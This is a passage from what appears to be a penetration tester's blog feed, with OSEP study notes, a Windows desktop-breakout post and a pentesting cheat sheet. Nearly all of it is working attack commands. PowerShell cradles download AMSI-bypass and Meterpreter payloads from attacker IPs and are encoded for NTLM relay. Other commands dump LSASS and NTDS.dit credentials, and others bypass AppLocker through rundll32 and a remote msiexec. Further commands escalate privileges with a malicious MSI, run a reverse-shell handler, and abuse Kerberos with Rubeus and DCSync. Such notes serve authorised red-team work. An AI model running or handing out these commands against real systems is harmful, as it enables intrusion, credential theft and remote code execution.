&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;klist&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kvno SQLsvc/DC01.DOMAIN.com:1433&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scp test@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;export the variable as before&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;export KRB5CCNAME=/tmp/krb5cc_minenow&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh test@linuxvictim -D 1080&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#Impacket GetADUsers.py&lt;/span&gt;
proxychains python3 /usr/share/doc/python3-impacket/examples/GetADUsers.py &lt;span class=&quot;nt&quot;&gt;-all&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-k&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-no-pass&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-dc-ip&lt;/span&gt; 192.168.82.5
DOMAIN.COM/Administrator

&lt;span class=&quot;c&quot;&gt;# get users SPNS&lt;/span&gt;
proxychains python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py &lt;span class=&quot;nt&quot;&gt;-k&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-no-pass&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-dc-ip&lt;/span&gt; 192.168.82.5 DOMAIN.COM/Administrator
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;‘proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py Administrator@DC01.DOMAIN.COM -k -no-pass’&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pwsh&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Encode the powershell cradle&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$text&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'iex (New-Object Net.WebClient).DownloadString(&quot;http://192.168.49.82/amsi.ps1&quot;); iex (New-Object Net.WebClient).DownloadString(&quot;http://192.168.49.82/msf64.ps1&quot;)'&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$bytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.Text.Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Unicode.GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$EncodedText&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ToBase64String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$EncodedText&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Copy the base64 encoded text!&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.82.6 -c 'powershell -enc &amp;lt;base64 output from powershell cradle!'&lt;/code&gt;&lt;/p&gt;

&lt;h1 id=&quot;session-passing&quot;&gt;Session Passing&lt;/h1&gt;

&lt;p&gt;To session pass from Metasploit to Covenant you can create a GruntHTTP.exe - create shellcode with donut
(/opt/donut)&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;donut HTTPGrunt.exe -e1 -a2 -b1 -f1 -x1 -o HTTPGrunt.bin&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then use the module “post/windows/manage/shellcode_inject”&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;shellcode &amp;lt;.bin&amp;gt;
&lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;session 
run 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</content><author><name>Secmuzz</name></author><category term="notes" /><summary type="html">OSEP Notes</summary></entry><entry><title type="html">Windows desktop breakout examples</title><link href="https://secmuzz.github.io//blog/2021/03/09/windows-desktop-breakout.html" rel="alternate" type="text/html" title="Windows desktop breakout examples" /><published>2021-03-09T00:00:00+00:00</published><updated>2021-03-09T00:00:00+00:00</updated><id>https://secmuzz.github.io//blog/2021/03/09/windows-desktop-breakout</id><content type="html" xml:base="https://secmuzz.github.io//blog/2021/03/09/windows-desktop-breakout.html">&lt;p&gt;When I come across a locked down Windows desktop I usually go through a process of trying to click everything see where I can write to and what I can execute etc. Then attempt most of the techniques used from this great github repo &lt;a href=&quot;https://github.com/api0cradle/UltimateAppLockerByPassList&quot;&gt;UltimateAppLockerByPassList&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;When I can’t run cmd or powershell the two examples below using rundll32 have worked many times in the past.&lt;/p&gt;

&lt;p&gt;Using cmd.dll taken from &lt;a href=&quot;https://blog.didierstevens.com/2010/02/04/cmd-dll/&quot;&gt;Didier Stevens&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rundll32 shell32.dll,Control_RunDLL C:\location\of\reactos\cmd.dll&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Using PowerShll.dll taken from &lt;a href=&quot;https://github.com/p3nt4/PowerShdll&quot;&gt;PowerShll.dll&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rundll32 PowerShll.dll,main -i&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Usually the next step is to elevate privileges and my current go to is running &lt;a href=&quot;https://github.com/GhostPack/SharpUp&quot;&gt;SharpUp&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SharpUp audit&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/img/2021-03-09/SharpUpAudit.png&quot; alt=&quot;SharpUp output&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This shows that AlwaysInstallElevated registry keys are present. This can be checked manually via the commands below&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/img/2021-03-09/AlwaysInstallElevatedregquery.png&quot; alt=&quot;Reg query&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now we have an attack vector we can create a windows installer package file. This can be done many ways but for this blog I am going to demonstrate the use of adding a Covenant Grunt binary as a custom action inside Visual Studio.&lt;/p&gt;

&lt;p&gt;Opening visual studio and start by creating a new project and selecting the setup wizard template. Change any project properties as necessary i.e target platform, author name. Add a new file to the project and import the Grunt binary. Then add a custom action to ensure the binary is executed on installation and change any custom action properties.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/img/2021-03-09/GeneratingMSI.png&quot; alt=&quot;Visual Studio MSI&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once you have compiled the project and transferred to target but clicking on the msi just gives an error message saying blocked becuase of security restriction policy.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/img/2021-03-09/MSI-clickblocked.png&quot; alt=&quot;Visual Studio MSI&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can run it and get logs information to see what is happening but as suspected the software restriction policy is blocking the installation.&lt;br /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msiexec /q /i MSIprogram.msi /L*V! msilog.log&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;It is possible to host the file remotely and to run an msi file which has been renamed to .png as shown &lt;a href=&quot;https://github.com/api0cradle/UltimateAppLockerByPassList/blob/e8d71e9894fee6d31a50842af9481dcff80f4a40/md/Msiexec.exe.md&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msiexec /q /i http://192.168.159.1/SRPbypass.png&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After running this a grunt running as SYSTEM should now be returned!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/img/2021-03-09/Grunts.png&quot; alt=&quot;Grunts&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;links--resources&quot;&gt;Links &amp;amp; Resources&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://gracefulsecurity.com/windows-desktop-breakout/&quot; target=&quot;_blank&quot;&gt;https://gracefulsecurity.com/windows-desktop-breakout/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/&quot; target=&quot;_blank&quot;&gt;https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/&quot; target=&quot;_blank&quot;&gt;https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/FuzzySecurity/DefCon24&quot; target=&quot;_blank&quot;&gt;https://github.com/FuzzySecurity/DefCon24&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/cobbr/Covenant&quot; target=&quot;_blank&quot;&gt;https://github.com/cobbr/Covenant&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><author><name>Secmuzz</name></author><category term="Windows" /><category term="bypass" /><category term="SRP" /><summary type="html">When I come across a locked down Windows desktop I usually go through a process of trying to click everything see where I can write to and what I can execute etc. Then attempt most of the techniques used from this great github repo UltimateAppLockerByPassList.</summary></entry><entry><title type="html">Pentesting Notes</title><link href="https://secmuzz.github.io//blog/2020/03/04/work-notes.html" rel="alternate" type="text/html" title="Pentesting Notes" /><published>2020-03-04T00:00:00+00:00</published><updated>2020-03-04T00:00:00+00:00</updated><id>https://secmuzz.github.io//blog/2020/03/04/work-notes</id><content type="html" xml:base="https://secmuzz.github.io//blog/2020/03/04/work-notes.html">&lt;h3 id=&quot;windows&quot;&gt;Windows&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Invoke-Inveigh -ConsoleOutput Y -HTTPPort 8080 -FileOutput Y -FileOutputDirectory .&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;certutil.exe -urlcache -split -f http://172.16.10.1/obfs.exe&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;LSASS dump without touching disk&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;net use x: \\mysmbserver\c$\
powershell -c rundll32.exe C:\windows\System32\comsvcs.dll MiniDump (Get-Process lsass).id x:\lassdump.bin full
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;NTDS audit&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Dump NTDS.dit file using NTDSUtils
powershell ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;powershell &quot;ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\path\to\put\data\' q q&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntdsaudit.exe ntds.dit -s SYSTEM -p pwdump.txt -u users.csv&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Breakout&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe MSBuildShell.csproj &lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmstp.exe /ni /s C:\Users\username\Desktop\cmstp.inf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rundll32 shell32.dll,Control_RunDLL \\192.168.0.4\sharez\cmd.dll&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pcalua.exe -a C:\windows\system32\cmd.exe&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;C#&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Rubeus.exe asktgt /user:username /rc4:ntlm-hash&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Rubeus.exe dump /service:krbtgt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;PowerShell&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IEX(New-Object Net.WebClient).downloadString('http://192.168.0.1/amsi.ps1')&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;$string = 'iex ((new-object net.webclient).downloadstring(&quot;http://payloadserverip/Amsibypass.ps1&quot;)); iex ((new-object net.webclient).downloadstring(&quot;http://payloadserverip/payload.ps1&quot;))'
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($string))&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$Cred = New-Object System.Management.Automation.PSCredential('Domain\user', $SecPassword)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Use Egress-Asses for data expiltration detection capabilities.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://github.com/FortyNorthSecurity/Egress-Assess&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /opt/Egress-Assess/setup
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; ./setup.sh
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; ..
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; ./Egress-Assess.py &lt;span class=&quot;nt&quot;&gt;--server&lt;/span&gt; http &lt;span class=&quot;nt&quot;&gt;--server-port&lt;/span&gt; 8080
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PowerShell Invoke-EgressAssess -Client http -DataType ni -IP 10.0.0.4 -Port 8080 -NoPing&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;linux&quot;&gt;Linux&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snmpwalk -v 2c -c public &amp;lt;hostIP&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hping3 -c 1 --icmp-ts &amp;lt;ip-address&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo -u postgres psql -U postgres&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python -m http.server 80&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msfconsole  -x &quot;use multi/handler; set payload windows/x64/meterpreter/reverse_tcp;  set lhost 10.10.10.10; set lport 443; set ExitOn Session false; exploit  -j&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;impacket-smbserver -smb2support files . &lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Remove duplicate lines from the file
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;awk '!seen[$0]++' filename&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;mitm6&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mitm6 -i eth1 -d domain.name&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntlmrelayx -6 -smb2support -t smb://&amp;lt;target-ip&amp;gt; -e shell.exe&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntlmrelayx.py -6 -wh randomhostname.domain.local -t smb://&amp;lt;target-ip-to-redirect-auth-to&amp;gt; -l /tmp -socks -debug&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;proxychains python3 /opt/impacket/examples/smbclient.py domain/Administrator@192.168.0.77&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Linux command to use powershell compatible encoded strings&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;echo &quot;iex(command)&quot; | iconv --to-code UTF-16LE | base64 -w 0&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Pivoting&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;proxychains socat TCP4-LISTEN:3389,fork TCP4:10.10.10.15:3389&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Search for a *.doc or *.pdf file&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;find / -type f \( -iname &quot;*.doc&quot; -o -iname &quot;*.pdf&quot; \) 2&amp;gt;/dev/null&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Look for file with suid set  &lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;find / -perm u=s -type f 2&amp;gt;/dev/null&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Mountable shares&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;showmount -e &amp;lt;IP&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mount -t nfs 192.168.0.25:/home /tmp/mnt/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl -g [ipv6-addess-here]&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;vlan tagging&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo modprobe 8021q&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo vconfig add eth0 104.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo ip addr add 10.0.0.1/24 dev eth0.104&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo ip link set up eth0.104&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;covenant&quot;&gt;Covenant&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Assembly /assemblyname:&quot;SharpHound3&quot; /parameters:&quot;-c All -D domain.co.uk&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SharpUp audit&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BypassUACGrunt powershell&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MakeToken user domain.local Password&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Rubeus Triage&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Rubeus dump&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Rubeus asktgt /user:users /rc4:ntlm-hash&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Rubeus ptt /ticket:&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DCSync DOMAIN\krbtgt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PortScan WS1,DC1 135,445,3389,4444,5985&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shell msiexec /i C:\Windows\Temp\msi-installer.msi /qn&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PowerShellRemotingCommand Computer &quot;powershell -enc &amp;lt;base64&amp;gt;&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Assembly /assemblyname:&quot;SharpGPOAbuse&quot; /parameters:&quot;--AddComputerTask --TaskName \&quot;My Task\&quot; --Author NT AUTHORITY\SYSTEM --Command \&quot;cmd.exe\&quot; --Arguments \&quot;/c &amp;lt;powershell-payload&amp;gt;&quot; --GPOName \&quot;My GPO\&quot;&quot;&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;android&quot;&gt;Android&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./emulator -avd &amp;lt;emulator-name&amp;gt; -writable-system -selinux disabled -qemu -enable-kvm --dns-server 8.8.8.8&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adb root &amp;amp;&amp;amp; adb remount&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adb shell&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adb reboot&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adb install application.apk&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adb logcat | grep &quot;$(adb shell ps | grep &amp;lt;package-name&amp;gt; | awk '{print $2}')&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adb push frida-server /data/local/tmp/frida-server&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adb shell &quot;/data/local/tmp/frida-server &amp;amp;&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;frida --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida -f com.packageappname --no-pause -U&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Objection&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pip3 install objection&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;objection --gadget &quot;com.packagename&quot; explore&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;android sslpinning disable&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;android hooking search classes com.application&lt;/code&gt;&lt;/p&gt;</content><author><name>Secmuzz</name></author><category term="notes" /><summary type="html">Windows</summary></entry><entry><title type="html">Blog still in progress</title><link href="https://secmuzz.github.io//blog/2020/02/21/blog-in-progress.html" rel="alternate" type="text/html" title="Blog still in progress" /><published>2020-02-21T00:00:00+00:00</published><updated>2020-02-21T00:00:00+00:00</updated><id>https://secmuzz.github.io//blog/2020/02/21/blog-in-progress</id><content type="html" xml:base="https://secmuzz.github.io//blog/2020/02/21/blog-in-progress.html">&lt;h2 id=&quot;infosec-posts-to-come&quot;&gt;InfoSec posts to come&lt;/h2&gt;</content><author><name>Secmuzz</name></author><category term="junk" /><summary type="html">InfoSec posts to come</summary></entry></feed>